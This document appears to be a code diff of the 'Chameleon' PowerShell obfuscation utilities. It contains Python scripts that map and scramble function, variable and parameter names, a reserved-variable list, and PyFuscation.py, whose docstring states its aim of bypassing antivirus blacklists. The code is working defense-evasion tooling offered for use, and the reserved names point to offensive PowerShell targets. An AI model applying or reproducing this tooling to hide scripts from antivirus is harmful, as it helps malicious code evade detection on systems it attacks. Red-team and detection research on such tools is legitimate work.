def __init__(self, psctx: PSContext):
self.ctx = [psctx]
@property
def current(self) -> PSContext:
if not self.is_empty():
return self.ctx[-1]
@property
def current_ctx_type(self) -> PSContextType:
if not self.is_empty():
return self.ctx[-1].ctx_type
@property
def previous(self) -> PSContext:
self.ctx.pop()
return self.current
@property
def balanced(self) -> bool:
if not self.is_empty():
return self.ctx[-1].brackets == 0
def is_empty(self):
return len(self.ctx) == 0
def close(self):
self.ctx.pop()
def add_content(self, value):
self.current.content += f"\n{value}"
def open_brackets(self, nb=1):
self.current.brackets += nb
def close_brackets(self, nb=1):
self.current.brackets -= nb
def change_context(self, ctx_name: str, ctx_type: PSContextType):
self.ctx.append(PSContext(ctx_name, ctx_type))
def extract_data(self):
var_pattern = re.compile(r'\$[\w|_]+')
matches = [match.group() for match in var_pattern.finditer(self.current.content)]
_matches = list(set(matches))
matches = []
for e in _matches:
if e.lower() in ["$true", "$false", "$null", "$_"]:
continue
matches.append(e)
matches.sort(key=len)
return matches[::-1]
def to_string(self):
return "->".join([self.ctx[i].ctx_type.name for i in range(len(self.ctx))])
def scramble(text):
new_text = ""
for char in text:
if char.islower():
new_text += secrets.choice(string.ascii_lowercase)
else:
new_text += char
return new_text
def replace_comments(text):
# Get rid of <# ... #> comments
_content = text.encode().decode(encoding="windows-1252", errors="replace")
start = False
matches = re.finditer(r"<#[^#]+#>", _content, re.MULTILINE)
for _, match in enumerate(matches, start=1):
_content = _content.replace(match.group(), "")
text = _content.split("\n")
rows = []
for nr, row in enumerate(text, start=1):
if row.find("<#") > -1:
start = True
if row.find("#>") > -1:
start = False
if not start:
rows.append(row)
_content = "\n".join(rows)
# Single Line Comments
slc_pattern = re.compile(r"#.+")
matches = slc_pattern.finditer(_content)
for _, match in enumerate(matches, start=1):
_content = _content.replace(match.group(), "")
return _content
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='Chameleon PSMapper - Helper to create obfuscated function mappings'
)
parser.add_argument('-o', '--outfile', required=True, type=str, default=None, help='Output file')
parser.add_argument('target', help='Target PS1 script')
args = parser.parse_args()
if not os.path.isfile(args.target):
print(f"[-] File {args.target} not found")
sys.exit(1)
with open(args.target, "r") as ps:
content = ps.read()
content = replace_comments(content)
content = content.split("\n")
tree = PSTree(
psctx=PSContext(name="main", ctx_type=PSContextType.MAIN)
)
mapping = {}
function = ""
for n, line in enumerate(content, start=1):
state_changed = False
see_next = False
tree.current.current_line = n
function_match = None
param_match = None
ob = 0
cb = 0
tree.add_content(line)
if tree.current_ctx_type in [PSContextType.MAIN, PSContextType.FUNCTION, PSContextType.NESTED_FUNCTION]:
function_match = re.search(r"(filter|function)\s+([\w][^\s]+)[\{\s]?", line, re.IGNORECASE)
param_match = re.search(r"param[\s|\n|\r|\(]*\(?", line, re.IGNORECASE)
if function_match:
function = function_match.groups()[1].split("(")[0]
if function.find(":") > -1:
function = function.split(":")[1]
if tree.current_ctx_type == PSContextType.MAIN:
print(f"Found new function {function} at line: {n}")
tree.change_context(ctx_name=function, ctx_type=PSContextType.FUNCTION)
see_next = True
elif tree.current_ctx_type == PSContextType.FUNCTION:
print(f"Found new nested function {function} at line: {n}")
tree.change_context(ctx_name=function, ctx_type=PSContextType.NESTED_FUNCTION)
see_next = True
ob = line.count("{")
if ob == 0:
see_next = True
else:
print(f"Function starts at line: {n}")
cb = line.count("}")
elif param_match:
tree.change_context(ctx_name=tree.current.name + "-param", ctx_type=PSContextType.PARAMS)
ob = line.count("(")
cb = line.count(")")
if ob == 0:
see_next = True
else:
print(f"Param() start at line: {n}")
else:
ob = line.count("{")
cb = line.count("}")
elif tree.current_ctx_type == PSContextType.PARAMS:
ob = line.count("(")
cb = line.count(")")
if ob == 0 and cb == 0:
see_next = True
else:
continue
tree.open_brackets(nb=ob)
tree.close_brackets(nb=cb)
if tree.balanced and not see_next:
if tree.current_ctx_type == PSContextType.PARAMS:
params = tree.extract_data()
print(f" > Found parameters: {params}")
mapping[function] = params
# Close parameters context
print(f"Param() close at line {n}")
tree.close()
elif tree.current_ctx_type == PSContextType.NESTED_FUNCTION:
# Close function context
print(f"Nested function closes at line {n}")
tree.close()
elif tree.current_ctx_type == PSContextType.FUNCTION:
# Close function context
print(f"Function closes at line {n}")
tree.close()
new_mapping = {}
for k, v in mapping.items():
new_params = {}
new_params["original"] = v
new_params["repl"] = [scramble(param) for param in v]
new_mapping[k] = {
"repl": scramble(k),
"params": new_params
}
with open(args.outfile, 'w') as outfile:
json.dump(new_mapping, outfile)
json_formatted = json.dumps(new_mapping, indent=2)
# print(json_formatted)

View File

@@ -0,0 +1,49 @@
import json
import os
import sys
import re
import argparse
from colorama import Fore
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Chameleon PSTranslate - Helper to search obfuscated functions'
)
parser.add_argument('-f', '--function', required=True, type=str, default=None, help='Function to search')
parser.add_argument('mapping', help='Mapping file')
args = parser.parse_args()
os.system('color')
if not os.path.isfile(args.mapping):
print("[-] Mapping file not found")
sys.exit(1)
with open(args.mapping, "r") as ps:
mapping = json.load(ps)
function = args.function
for k in mapping.keys():
if re.search(function, k, re.IGNORECASE):
rainbow = [Fore.LIGHTBLUE_EX,
Fore.LIGHTGREEN_EX,
Fore.LIGHTRED_EX,
Fore.LIGHTCYAN_EX,
Fore.LIGHTMAGENTA_EX,
Fore.LIGHTYELLOW_EX
]
op = mapping[k]['params']['original']
np = mapping[k]['params']['repl']
orig_params = ", ".join([f"{rainbow[j%5]}{op[j]}{Fore.WHITE}" for j in range(len(op))])
new_params = ", ".join([f"{rainbow[j%5]}{np[j]}{Fore.WHITE}"for j in range(len(np))])
print(f"[+] Found func : {rainbow[5]}{k}{Fore.WHITE}")
print(f" [>] Replaced by: {rainbow[5]}{mapping[k]['repl']}{Fore.WHITE}")
print(f" [>] Original params: {orig_params}")
print(f" [>] Obfuscated with: {new_params}")
print()

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,78 @@
#!/usr/bin/env python3
[PS_Reserverd]
# This list is comprised of
# Powershell - Special Variables
# Powershell - Automatic Variables
# Powershell - Preference Variables
# Trial and Error ... :shrug
f = ['$?',
'$^',
'$_',
'$accessMask',
'$Allnodes',
'$Args',
'$Bitfield',
'$Command',
'$Constructor',
'$Charset',
'$ConsoleFileName',
'$DllName',
'$DsDomainFlag',
'$ErrorActionPreference',
'$Error',
'$Error[0]',
'$Event',
'$EventArgs',
'$EventSubscriber',
'$ExecutionContext',
'$False',
'$ForEach',
'$FunctionName',
'$FunctionDefinitions',
'$Home',
'$Host',
'$Input',
'$Kernel32',
'$LastExitCode',
'$LogonType',
'$Matches',
'$MyInvocation',
'$MarshalAs',
'$NativeCallingConvention',
'$NestedPromptLevel',
'$Module',
'$ModuleName',
'$Namespace',
'$NULL',
'$OFS',
'$Object',
'$ParameterTypes',
'$PermissionSet',
'$PEInfo',
'$PID',
'$Profile',
'$PSBoundParameters',
'$PsCmdlet',
'$PSCommandPath',
'$PsCulture',
'$PSDebugContext',
'$PsHome',
'$PSitem',
'$PSScriptRoot',
'$PSSenderInfo',
'$PsUICulture',
'$PsVersionTable',
'$Pwd',
'$ReturnType',
'$Sender',
'$SetLastError',
'$ShellID',
'$StackTrace',
'$StartAddress',
'$This',
'$True',
'$Value',
'$Win32Constants']

View File

@@ -0,0 +1,282 @@
#!/usr/bin/env python3
'''
PyFuscation.py
This python3 script obfuscates powershell function, variable and parameters in an attempt to bypass AV blacklists
'''
import re
import os
import sys
import ast
import time
import shutil
import random
import subprocess
import shlex
import string
from argparse import ArgumentParser
import configparser
import fileinput
def printR(out): print("\033[91m{}\033[00m" .format("[!] " + out))
def printG(out): print("\033[92m{}\033[00m" .format("[*] " + out))
def printY(out): print("\033[93m{}\033[00m" .format("[+] " + out))
def printP(out): print("\033[95m{}\033[00m" .format("[-] " + out))
def realTimeMuxER(command):
p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = p.stdout.readline().decode()
if output == '' and p.poll() is not None:
break
if output:
print(output.strip())
rc = p.poll()
def removeJunk(oF):
# general cleanup
cmd = "sed -i -e \'/<#/,/#>/c\\\\\' " + "'" + oF + "'"
realTimeMuxER(cmd)
cmd = "sed -i -e \'s/^[[:space:]]*#.*$//g\' " + "'" + oF + "'"
realTimeMuxER(cmd)
cmd = "sed -i \'/^$/d\' " + "'" + oF + "'"
realTimeMuxER(cmd)
def useSED(DICT, oF):
for var in DICT:
new = str(DICT.get(var))
cmd = "sed -i -e \'s/" + var +'\\b' + "/" + new + "/g\' " + "'" + oF + "'"
realTimeMuxER(cmd)
def THEreplacER(DICT, iF, oF):
iFHandle = open(iF, 'r')
ofHandle = open(oF, 'w')
regex = r'(\$\w{3,})'
lower_DICT = list(map(lambda x:x.lower(),DICT))
# For var replace with Dictionary value
for line in iFHandle:
v = re.findall(regex,line)
if not v:
#print("Not: " + line)
ofHandle.write(line + "\n")
ofHandle.flush()
else:
for var in v:
if var.lower() in lower_DICT:
new = str(DICT.get(var))
#print("Replacing " + var + " with " + new)
ofHandle.write(line.replace(var, new) + "\n")
ofHandle.flush()
else:
#print(var)
ofHandle.write(line + "\n")
ofHandle.flush()
iFHandle.close()
ofHandle.close()
def findCustomParams(iFile,oFile,VARs):
PARAMs = {}
READ = False
start = 0
end = 0
regex = r'([\$-]\w{4,})'
ofHandle = open(oFile, 'w')
with open(iFile, "r") as f:
for line in f:
line = line.strip()
if re.search(r'\bparam\b', line, re.I):
# Ok we are at the begining of a custum parameter
READ = True
# The open paren is on another line so move until we find it
start = start + line.count('(')
if start == 0:
continue
end = end + line.count(')')
v = re.findall(regex,line)
for i in v:
if i.lower() not in lower_Reserverd and i not in PARAMs:
# Lets check to see if this has been replaced already
new = VARs.get(i)
if not new:
continue
new = " -" + new[1:]
old = " -" + i[1:]
PARAMs[old] = new
ofHandle.write("Replacing: " + old + " with: " + new + "\n")
# If the params are all on one line were done here
if start != 0 and start == end:
start = 0
end = 0
READ = False
continue
# These are the custom parameters
elif READ:
v = re.findall(regex,line)
for i in v:
if i.lower() not in lower_Reserverd and i not in PARAMs:
new = VARs.get(i)
if not new:
continue
new = " -" + new[1:]
old = " -" + i[1:]
PARAMs[old] = new
ofHandle.write("Replacing: " + old + " with: " + new + "\n")
start = start + line.count('(')
end = end + line.count(')')
if start != 0 and start == end:
start = 0
end = 0
READ = False
# Keep moving until we have work
else:
continue
printY("Parameters Replaced : " + str(len(PARAMs)))
return PARAMs
def findVARs(iFile,lFile):
VARs = {}
vNum = 9999
regex = r'(\$\w{6,})'
ofHandle = open(lFile, 'w')
with open(iFile, "r") as f:
for line in f:
v = re.findall(regex,line)
for i in v:
if i in VARs:
continue
elif i.lower() not in lower_Reserverd:
# Powershell vars are case insensitive
lowerVARS = {k.lower(): v for k, v in VARs.items()}
if i.lower() in lowerVARS:
new = lowerVARS.get(i.lower())
ofHandle.write("Replacing: " + i + " with: " + new + "\n")
VARs[i] = new
else:
vNum = 99
new = "$" + ''.join([random.choice(string.ascii_letters) for n in range(8)])
VARs[i] = new + str(vNum)
ofHandle.write("Replacing: " + i + " with: " + new + "\n")
vNum += 1
# return dict of variable and their replacements
printY("Variables Replaced : " + str(len(VARs)))
return VARs
def findFUNCs(iFile,lFile):
FUNCs = {}
ofHandle = open(lFile, 'w')
with open(iFile, "r") as f:
for line in f:
funcMatch = re.search(r'^\s*Function ([a-zA-Z0-9_-]{6,})[\s\{]+$',line, re.IGNORECASE)
if funcMatch and funcMatch.group(1) not in FUNCs:
if funcMatch.group(1) == "main":
continue
vNum = 9999
new = randomString(wordList)
FUNCs[funcMatch.group(1)] = new
ofHandle.write("Replacing: " + funcMatch.group(1) + " with: " + str(new) + "\n")
vNum += 1
# return dict of variable and their replacements
printY("Functions Replaced : " + str(len(FUNCs)))
return FUNCs
def randomString(iFile):
with open(iFile, "r") as f:
line = next(f)
for num, aline in enumerate(f, 2):
if random.randrange(num): continue
line = aline
string = ''.join(e for e in line if e.isalnum())
return string
def main():
iFile = args.script
printR("Obfuscating: " + iFile)
oDir = os.getcwd() + "/Resources/PyFuscation/tmp"
os.mkdir( oDir );
oFile = oDir + "/" + "script.ps1"
vFile = oDir + "/" + "vFile.ps1"
fFile = oDir + "/" + "fFile.ps1"
pFile = oDir + "/" + "pFile.ps1"
shutil.copy(args.script, oFile)
obfuVAR = dict()
obfuPARMS = dict()
obfuFUNCs = dict()
# Remove White space and comments
removeJunk(oFile)
# Obfuscate Variables
if (args.var):
obfuVAR = findVARs(iFile,vFile)
useSED(obfuVAR, oFile)
# Obfuscate custom parameters
if (args.par):
obfuPARMS = findCustomParams(iFile, pFile, obfuVAR)
useSED(obfuPARMS, oFile)
# Obfuscate Functions
if (args.func):
obfuFUNCs = findFUNCs(iFile, fFile)
useSED(obfuFUNCs, oFile)
# Print the Functions
print("")
printP("Obfuscated Functions located : " + fFile)
if __name__ == "__main__":
if sys.version_info <= (3, 0):
sys.stdout.write("This script requires Python 3.x\n")
sys.exit(1)
config = configparser.ConfigParser()
parser = ArgumentParser()
parser.add_argument("-f", dest="func", help="Obfuscate functions", action="store_true")
parser.add_argument("-v", dest="var", help="Obfuscate variables", action="store_true")
parser.add_argument("-p", dest="par", help="Obfuscate parameters", action="store_true")
parser.add_argument("--ps", dest="script", help="Obfuscate powershell")
args = parser.parse_args()
# Powershell script
if (args.script is None):
parser.print_help()
exit()
else:
# Check if the input file is valid:
if not os.path.isfile(args.script):
printR("Check File: " + args.script)
exit()
else:
PSconfigFile = os.path.abspath(os.path.dirname(__file__)) + "/PSconfig.ini"
config.read(PSconfigFile)
Reseverd = ast.literal_eval(config.get("PS_Reserverd", "f"))
lower_Reserverd = list(map(lambda x:x.lower(),Reseverd))
wordList = os.path.abspath(os.path.dirname(__file__)) + "/Wordlist.txt"
if not os.path.isfile(wordList):
printR("Check wordList: " + wordList)
exit()
main()

File diff suppressed because it is too large Load Diff